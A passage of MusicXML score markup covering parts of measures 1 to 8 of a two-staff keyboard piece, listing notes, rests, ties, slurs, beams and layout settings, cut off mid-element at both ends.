<slur number="2" placement="above" type="start"/>
</notations>
</note>
<note default-x="46">
<pitch>
<step>A</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="34.5">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="80">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="41">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="113">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>3</voice>
<type>16th</type>
<stem default-y="48">up</stem>
<staff>2</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="151">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>3</voice>
<type>quarter</type>
<stem default-y="-20.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="start"/>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<note default-x="151">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
</measure>
<!--=======================================================-->
<measure number="2" width="313">
<note default-x="23">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<accidental>sharp</accidental>
<stem default-y="23">up</stem>
<staff>1</staff>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="165">
<rest>
<display-step>A</display-step>
<display-octave>5</display-octave>
</rest>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<note default-x="199">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="24.5">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="232">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>16th</type>
<dot/>
<stem default-y="24.5">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="279">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>1</duration>
<tie type="start"/>
<voice>1</voice>
<type>32nd</type>
<stem default-y="24.5">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<beam number="3">backward hook</beam>
<notations>
<tied orientation="over" type="start"/>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="165">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-60.5">down</stem>
<staff>1</staff>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="23">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="38">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="56">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="41">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="91">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="45">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="133">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="23">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="start"/>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-58">down</stem>
<staff>2</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<note default-x="165">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-58">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>4</duration>
<voice>5</voice>
<staff>2</staff>
</forward>
<note default-x="91">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-25.5">down</stem>
<staff>2</staff>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="165">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>5</voice>
<type>quarter</type>
<stem default-y="-25.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
</measure>
<!--=======================================================-->
<measure number="3" width="284">
<note default-x="10">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<tie type="start"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="150">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="184">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="217">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="249">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="150">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-63">down</stem>
<staff>1</staff>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="2" placement="above" type="start"/>
</notations>
</note>
<note default-x="47">
<pitch>
<step>A</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="43.5">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="79">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="47">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="113">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>3</voice>
<type>16th</type>
<stem default-y="50">up</stem>
<staff>2</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="150">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>3</voice>
<type>quarter</type>
<stem default-y="-20.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="start"/>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<note default-x="150">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
</measure>
<!--=======================================================-->
<measure number="4" width="359">
<print new-system="yes">
<staff-layout number="1">
<staff-distance>100</staff-distance>
</staff-layout>
</print>
<note default-x="113">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<accidental>sharp</accidental>
<stem default-y="23">up</stem>
<staff>1</staff>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="234">
<rest>
<display-step>A</display-step>
<display-octave>5</display-octave>
</rest>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<note default-x="264">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="293">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="323">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="over" type="start"/>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="234">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-60.5">down</stem>
<staff>1</staff>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="113">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="38">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="142">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="41">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="172">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="45">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="205">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="113">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="start"/>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-58">down</stem>
<staff>2</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<note default-x="234">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-58">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>4</duration>
<voice>5</voice>
<staff>2</staff>
</forward>
<note default-x="172">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-25.5">down</stem>
<staff>2</staff>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="234">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>5</voice>
<type>quarter</type>
<stem default-y="-25.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
</measure>
<!--=======================================================-->
<measure number="5" width="324">
<note default-x="20">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="171">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="22">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="209">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="246">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="17">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="284">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<forward>
<duration>4</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="246">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>2</voice>
<type>16th</type>
<stem default-y="-70">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
</note>
<note default-x="284">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>2</voice>
<type>16th</type>
<stem default-y="-77">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="20">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="42">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="2" placement="below" type="start"/>
</notations>
</note>
<note default-x="58">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="46">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="95">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="50">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="133">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
<forward>
<duration>4</duration>
<voice>3</voice>
<staff>2</staff>
</forward>
<note default-x="246">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>3</voice>
<type>eighth</type>
<stem default-y="18">up</stem>
<staff>2</staff>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="20">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
</note>
<note default-x="171">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="209">
<pitch>
<step>B</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-82">down</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="2" placement="below" type="start"/>
</notations>
</note>
<note default-x="246">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-82">down</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="284">
<pitch>
<step>E</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-82">down</stem>
<staff>2</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
</measure>
<!--=======================================================-->
<measure number="6" width="243">
<note default-x="19">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="start"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="11">up</stem>
<staff>1</staff>
<notations>
<tied orientation="over" type="start"/>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="128">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="154">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="180">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="209">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="over" type="start"/>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="19">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>6</duration>
<tie type="stop"/>
<voice>2</voice>
<type>eighth</type>
<dot/>
<stem default-y="-75">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="100">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>2</voice>
<type>16th</type>
<stem default-y="-80">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
</note>
<note default-x="128">
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-65.5">down</stem>
<staff>1</staff>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="19">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>3</voice>
<type>16th</type>
<stem default-y="29">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="46">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="31">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="72">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="33">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="100">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="19">
<pitch>
<step>A</step>
<octave>2</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-63">down</stem>
<staff>2</staff>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
<backup>
<duration>8</duration>
</backup>
<forward>
<duration>4</duration>
<voice>5</voice>
<staff>2</staff>
</forward>
<note default-x="72">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-35.5">down</stem>
<staff>2</staff>
<notations>
<tied type="start"/>
</notations>
</note>
<note default-x="128">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-35.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="180">
<rest/>
<duration>2</duration>
<voice>5</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="209">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>5</voice>
<type>16th</type>
<stem default-y="-35.5">down</stem>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="7" width="274">
<note default-x="10">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="140">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="174">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="207">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="239">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<forward>
<duration>4</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="207">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>2</voice>
<type>16th</type>
<stem default-y="-70">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
</note>
<note default-x="239">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>2</voice>
<type>16th</type>
<stem default-y="-77">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="42">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="2" placement="below" type="start"/>
</notations>
</note>
<note default-x="42">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="46">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="75">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="50">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="107">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
<forward>
<duration>4</duration>
<voice>3</voice>
<staff>2</staff>
</forward>
<note default-x="207">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>3</voice>
<type>eighth</type>
<stem default-y="-50.5">down</stem>
<staff>2</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
</note>
<note default-x="140">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="174">
<pitch>
<step>B</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="2" placement="below" type="start"/>
</notations>
</note>
<note default-x="207">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="239">
<pitch>
<step>E</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>2</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
</measure>
<!--=======================================================-->
<measure number="8" width="330">
<print new-system="yes">
<staff-layout number="1">
<staff-distance>90</staff-distance>
</staff-layout>
<staff-layout number="2">
<staff-distance>90</staff-distance>
</staff-layout>
</print>
<note default-x="112">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<tie type="start"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="11">up</stem>
<staff>1</staff>
<notations>
<tied orientation="over" type="start"/>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="219">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>1</voice>
<type>16th</type>
